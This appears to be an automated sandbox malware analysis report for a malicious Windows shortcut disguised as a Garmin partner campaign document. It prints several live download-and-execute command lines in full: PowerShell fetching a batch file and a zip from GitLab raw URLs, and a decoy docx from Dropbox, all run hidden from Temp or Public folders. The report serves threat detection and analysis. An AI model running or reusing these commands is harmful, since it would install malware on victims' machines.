Edit tour

Windows Analysis Report
1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk

Overview

General Information

Sample name:	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk
Analysis ID:	1573654
MD5:	22d305930675a83fd272814b79306796
SHA1:	8954f2f3ae32e28efb1cda227559a9dd0af3078c
SHA256:	6542fa09273d05c5c5231e78195c60e33068c28d1a68da1f3223c4c54c2bf9c6
Tags:	braodolnkstare2user-JAMESWT_MHT
Infos:

Detection

Abobus Obfuscator, Braodo

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

Yara detected Abobus Obfuscator

Yara detected Braodo

Yara detected Powershell download and execute

AI detected suspicious sample

Machine Learning detection for sample

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: PowerShell DownloadFile

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Tries to download and execute files (via powershell)

Uses an obfuscated file name to hide its real file extension (double extension)

Windows shortcut file (LNK) contains suspicious command line arguments

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 1592 cmdline: "C:\Windows\System32\cmd.exe" /c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2544 cmdline: powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6288 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\Updates.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 6548 cmdline: chcp.com 437 MD5: 33395C4732A49065EA72590B14B64F32)

findstr.exe (PID: 592 cmdline: fINdstr /L /I set "C:\Users\user\AppData\Local\Temp\Updates.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 1016 cmdline: fINdstr /L /I goto "C:\Users\user\AppData\Local\Temp\Updates.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 6824 cmdline: fINdstr /L /I echo "C:\Users\user\AppData\Local\Temp\Updates.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 4888 cmdline: fINdstr /L /I pause "C:\Users\user\AppData\Local\Temp\Updates.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cmd.exe (PID: 3152 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

find.exe (PID: 3300 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

find.exe (PID: 2012 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 2016 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 2356 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7256 cmdline: powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx'" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7424 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/stare2/garmin/-/raw/main/fuknewGa1112De.zip', 'C:\Users\Public\Document.zip')" MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 8156 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\Updates.bat	JoeSecurity_AbobusObfuscator	Yara detected Abobus Obfuscator	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000003.2193362942.000001FC70442000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AbobusObfuscator	Yara detected Abobus Obfuscator	Joe Security
00000005.00000003.2272808693.000001FC70449000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AbobusObfuscator	Yara detected Abobus Obfuscator	Joe Security
00000005.00000003.2195210961.000001FC70449000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AbobusObfuscator	Yara detected Abobus Obfuscator	Joe Security
00000005.00000002.3414755320.000001FC70440000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AbobusObfuscator	Yara detected Abobus Obfuscator	Joe Security
Process Memory Space: cmd.exe PID: 6288	JoeSecurity_Braodo_1	Yara detected Braodo	Joe Security
Process Memory Space: cmd.exe PID: 6288	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: cmd.exe PID: 6288	JoeSecurity_AbobusObfuscator	Yara detected Abobus Obfuscator	Joe Security
Process Memory Space: powershell.exe PID: 2356	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7424	JoeSecurity_Braodo_1	Yara detected Braodo	Joe Security
Process Memory Space: powershell.exe PID: 7424	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 5 entries

Other

Source	Rule	Description	Author
amsi64_2356.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_7424.amsi.csv	JoeSecurity_Braodo_1	Yara detected Braodo	Joe Security
amsi64_7424.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p", CommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p", ProcessId: 1592, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\Updates.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6288, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')", ProcessId: 2356, ProcessName: powershell.exe

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2544, TargetFilename: C:\Users\user\AppData\Local\Temp\Updates.bat

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\Updates.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6288, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')", ProcessId: 2356, ProcessName: powershell.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7424, TargetFilename: C:\Users\Public\Document.zip

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2544, TargetFilename: C:\Users\user\AppData\Local\Temp\Updates.bat

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\Updates.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6288, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')", ProcessId: 2356, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p", CommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p", ProcessId: 1592, ProcessName: cmd.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p", CommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p", ProcessId: 1592, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p", CommandLine: powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1592, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p", ProcessId: 2544, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8156, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk

ReversingLabs: Detection: 16%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.3% probability

Machine Learning detection for sample

Source: 1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.6:49878 version: TLS 1.2

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbIf source: powershell.exe, 00000011.00000002.2267996581.000001DCD8D1A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Q.Core.pdb[ source: powershell.exe, 00000011.00000002.2267628917.000001DCD8AD8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.2267996581.000001DCD8CC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000011.00000002.2267996581.000001DCD8D49000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000011.00000002.2267996581.000001DCD8D49000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.2267996581.000001DCD8D1A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbl source: powershell.exe, 00000011.00000002.2267996581.000001DCD8CD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 089\System.Core.pdb source: powershell.exe, 00000011.00000002.2267996581.000001DCD8CD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000011.00000002.2267996581.000001DCD8D13000.00000004.00000020.00020000.00000000.sdmp

Source: global traffic	HTTP traffic detected: GET /scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /stare2/garmin/-/raw/main/fuknewGa1112De.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.65.251.78 172.65.251.78
Source: Joe Sandbox View	IP Address: 162.125.69.18 162.125.69.18

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: GET /stare2/garmin/-/raw/main/nbavdfasfGarminde.bat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gitlab.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /stare2/garmin/-/raw/main/nbavdfasfGarminde.bat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gitlab.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /stare2/garmin/-/raw/main/fuknewGa1112De.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive

Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `Policy: default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; font-src https://* data: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; base-uri 'self' ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/ https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; frame-ancestors 'self' https://.dropbox.com ; img-src https:// data: blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; media-src https://* blob: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; font-src https://* data: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; base-uri 'self' ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/ https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; frame-ancestors 'self' https://.dropbox.com ; img-src https:// data: blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri 